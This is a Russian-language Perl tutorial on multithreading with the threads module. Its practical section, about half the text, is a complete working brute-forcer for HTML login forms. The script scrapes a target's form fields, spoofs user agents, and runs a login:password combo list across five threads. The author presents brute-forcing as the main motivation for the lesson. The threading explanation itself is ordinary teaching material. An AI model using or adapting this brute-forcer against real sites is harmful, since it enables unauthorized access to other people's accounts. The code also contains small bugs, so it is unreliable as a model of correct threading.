Многопоточность в Perl

[KSURi]

Многопоточность в Perl

.:[KSURi]:.

1. Интро
========
Любой программист на Perl рано или поздно сталкивается с проблемой повышения скорости его скриптов.
Особенно если это какой-нибудь брутфорсер =) Можно сколько угодно оптимизировать код, вырезать лишние куски и т.д.,
но это будет ничто по сравнению с тем, если сделать скрипт многопоточным.

2. Немного теории
=================
Многопоточность позволяет выполнять различные действия ОДНОВРЕМЕННО.
Представим, что есть скрипт, который берет слово из файла и что-то с ним делает. Таких слов в списке 10.
Обычный скрипт обработает их по очереди, а многопоточный обработает все десять слов сразу, каждое в своем потоке.
Это ЗНАЧИТЕЛЬНО повысит скорость выполнения.
В Perl дела с многопоточностью обстоят хорошо, не то, что в PHP. Есть специальный модуль,
который предоставляет удобный интерфейс к функциям создания потоков.
Хотя наверняка многие видели скрипты в которых многопоточность реализована через fork:

if ($pid=fork) {
push(@forked,$pid);
} else {
doSomething();
exit;
}

Это не совсем правильно, хотя тоже работает. Дело в том, что fork создает целый процесс, а не поток (который не является полноценным процессом).
Вследствие этого система нагружается сильнее, чем при использовании этих настоящих потоков.
К тому же в данном случаем будет сложнее организовать синхронизацию и работу с файлами.
И зачем изобретать велосипед еще раз, если за нас его уже изобрели (причем весьма качественный)?
Единственный плюс создания потоков через fork - б`ольшая универсальность, ибо форк - встроенная функция языка.

Если внимательно вглядеться в доки по языку, можно увидеть там раздел perlthrtut - это туториал по потокам.
Там дано весьма общее представление о теме и примеров маловато... Так что будем разбираться сами.
Принцип работы потоков строится по системе «босс и рабочие». «Босс» - собственно сам процесс скрипта.
«Рабочие» - это сами потоки, которые сгенерированы «боссом». «Босс» раздает задания для «рабочих» и пожеланию ждет от них ответа. Эта модель очень распространена в программировании вообще.

Для работы с потоками Perl должен быть собран с их поддержкой.
Проверить поддержку можно такой командой:

perl -e "use threads"

В ActivePerl поддержка многопоточности встроена с версии 5.6.0, если ее вдруг не оказалось - придется установить более свежий дистрибутив.
Для использования многопоточности в скрипте, естественно надо подключить модуль, отвечающий за это:

use threads;

При разработке многопоточных скриптов могут возникнуть проблемы с внешними модулями.
Некоторые из них имеют статус "unthreaded" - это значит, что заюзать их в многопоточном скрипте не получится.
К сожалению, в pod-документации к модулям не пишут про этот статус, все приходится выяснять практическим путем.
В большинстве случаев модуль будет "unthreaded", если в своей работе он использует файлы. Однако не все так плохо -
все самые популярные модули (LWP,Net,HTTP и т.д.) отлично работают с потоками.

2.1 Основные методы
===================
Новые потоки создаются методом create (синоним new). Первым параметром нужно указать ссылку на ваш саб, остальные параметры – те, которые вы хотели передать в выполняемый саб.

threads->create(\&mySub,$param1,$param2,$paramN);

Для создания множества потоков удобно юзать такой код:

for(0..$numberOfThreads) { threads->create(\&mySub,$param) }

Это создаст $numberOfThreads потоков.

В большинстве случаев нам надо будет подождать пока потоки завершат свою работу, чтобы «босс» не закончил работу раньше «рабочих». Если же это произойдет, выскочит такое предупреждение:
«A thread exited while N threads were running».
Это означает, что еще N потоков не завершили свой «полезный» код и не стоит ждать от скрипта корректной работы.
Данная проблема решается следующим кодом:

threads->create(\&mySub,$paramN)->join;

Метод join заставит главный скрипт подождать пока поток не завершит свою работу.

Если начинка потока должна возвращать какой-то результат, то достаточно инкапсулировать объект потока в переменную:

my $retData=threads->create(\&mySub,$paramN);
$retData->join;

Теперь в $retData хранится значение возвращенное mySub.

В случае если поток должен просто тихо отработать и ничего не возвратить - стоит использовать метод detach.
Он заставит главный скрипт игнорировать созданные им потоки. Т.е. «создал и забыл».
Однако, если работа "босса" закончится раньше, чем у "рабочих", предупреждение все равно будет появляться. Это стоит принять во внимание.

 for(0..$numberOfThreads) { threads->create(\&mySub,$param)->detach }

Следует заметить, что с игнорируемыми потоками "босс" работает немного быстрее, чем не игнорируемыми. Не значительно, но все-таки...

Если есть выполнить некий код в отдельном потоке сразу при его объявлении, то нужно использовать метод async.
Параметром нужно указать анонимный саб, который и будет выполняться:

my $thread=async { print "This code will be executed immideatly" };

Заметьте, что после закрывающей фигурной скобкой всегда надо ставить ';'.

Вот в принципе и все основы... Этого уже достаточно для создания многопоточного скрипта.

2.2 Вспомогательные методы
==========================
Из основных вспомогательных методов стоит выделить: list,tid и self. Эти методы пригодятся для организации сложной многопоточности, с синхронизацией расшаренными данными и т.д.

list - возвращает список всех потоков, для которых еще не были применены методы join и detach.
Удобно использовать, например, когда к множеству потоков нужно применить один метод:

foreach(threads->list) { print $_->join."\n" }

tid - возвращает уникальный идентификатор потока. Удобно для учета выполняемых потоков. Существует обратный метод object, который в качестве параметра принимает tid существующего потока и возвращает его объект. Тут же отметим метод self, который возвращает объект для текущего потока.

3. Практика
===========
Теперь попробуем закрепить все на практике. Я решил написать брутер html-форм.
Выполняться он будет в 5 потоков. Концепция скрипта: брут идет по комбо-листу вида login:password, все комбинации будут распределены между пятью потоками.
Вот собственно код: (ключевые моменты прокомментированы)

#!perl -w

use strict;
use threads;
use Getopt::Std;
use LWP::UserAgent;
use HTTP::Request::Common;
$|=1;

print "\n# $0\n# (C)oded by .:[KSURi]:.\n# http://cup.su/\n\n";

my %opts;
getopts("h:w:t:",\%opts);
usage() if(!exists($opts{h})||!exists($opts{w}));

print "[i] Loading combo list... "; 
open(COMBO,$opts{w})||exit print "FAILED\n";
my %combo=(combo0=>[],
           combo1=>[],
           combo2=>[],
           combo3=>[],
           combo4=>[]);
my $i=0;
# Распределение комбо-листа между потоками
while(<COMBO>)
{
    chomp;
    push(@{$combo{"combo".$i++}},$_);
    $i=1 if($i>4);
}
close COMBO;
print "OK\n";
print "[i] Bruting... ";
my(@res,@thr);
# Собственно многопоточность
for(0..4)
{
    my $currCombo="combo".$_;
    $thr[$_]=threads->create(\&brute,$opts{h},@{$combo{$currCombo}});
    $res[$_]=$thr[$_]->join;
}
foreach my $res(@res)
{
    if($res)
    {
        print "SUCCESS\n";
        print "[+] Login: ".join("; Password: ",split(':',$res));
        undef @thr; undef @res;
        exit(0);
    }
}
print "FAILED\n";

sub brute
{
    my($target,@words)=@_;
    my %formDetails=();
    my @agents=("Mozilla 5.0/Firefox",
                "Opera 9.02",
                "Interner Explorer 7",
                "Safari 3.0/Gecko 31337",
                "Lynx/FreeBSD 6.0");
    my $ua=LWP::UserAgent->new(agent=>$agents[rand($#agents)],
                               timeout=>10);
    my $response=$ua->get($target);
    if($response->is_success)
    {
        foreach(split("\n",$response->content))
        {
            if(/<form/i)
            {
                if(/action\s*=\s*[\"?|\'?](.+?)[\"?|\'?]\s*/i) { $formDetails{action}=$1 }
                if(/method\s*=\s*[\"?|\'?](.+?)[\"?|\'?]\s*/i) { $formDetails{method}=$1 }
            }
            if(/<input/i)
            {
                if(/type\s*=\s*[\"?|\'?]text[\"?|\'?]\s*/&&/name\s*=\s*[\"?|\'?](.+?)[\"?|\'?]\s*/) { $formDetails{login}=$1 }
                if(/type\s*=\s*[\"?]password[\"?|\'?]\s*/&&/name\s*=\s*[\"?|\'?](.+?)[\"?|\'?]\s*/) { $formDetails{pass}=$1  }
            }
        }
    }
    else { return }
    return "failed" if(!$formDetails{method}||!$formDetails{pass});
    foreach my $credits(@words)
    {
        my($login,$password)=split(':',$credits);
        my $url=$target;
        if($formDetails{method}=~/get/i)
        {
            if(defined($formDetails{action})) { $url.=$formDetails{action}.'?' }
            else { $url.='?' }
            if(defined($formDetails{login})) { $url.=$formDetails{login}.'='.$login.'&' }
            $url.=$formDetails{pass}.'='.$password;
            $response=$ua->request(GET $url,
                                   Referer=>$target);
        }
        else
        {
            $url.=$formDetails{action} if(defined($formDetails{action}));
            $response=$ua->request(POST $url,
                                   Referer=>$target,
                                   Content_Type=>"application/x-www-form-urlencoded",
                                   Content=>[$formDetails{login}=>$login,
                                             $formDetails{pass}=>$password]);
        }
        if($response->{_rc}==200)
        {
            if($response->content=~/access denied|login incorrect|password incorrect|wrong login|wrong password|can't log\s*in/im) { next }
            else { return $credits }
        }
        else { return }
    }
}

sub usage
{
    print "Usage: perl $0 -h <TARGET> -w <COMBO>\n";
    print "E.g.: perl $0 -h http://127.0.0.1/xampp/ -w combo.txt\n";
    exit(0);
}

# form_bruter.pl
# (C)oded by .:[KSURi]:.
# http://cup.su/

ЗЫ: в скрипте использованы dirty hacks =( Да простит меня Perl Underground. Аминь.


Вот в принципе и все.
Удачи!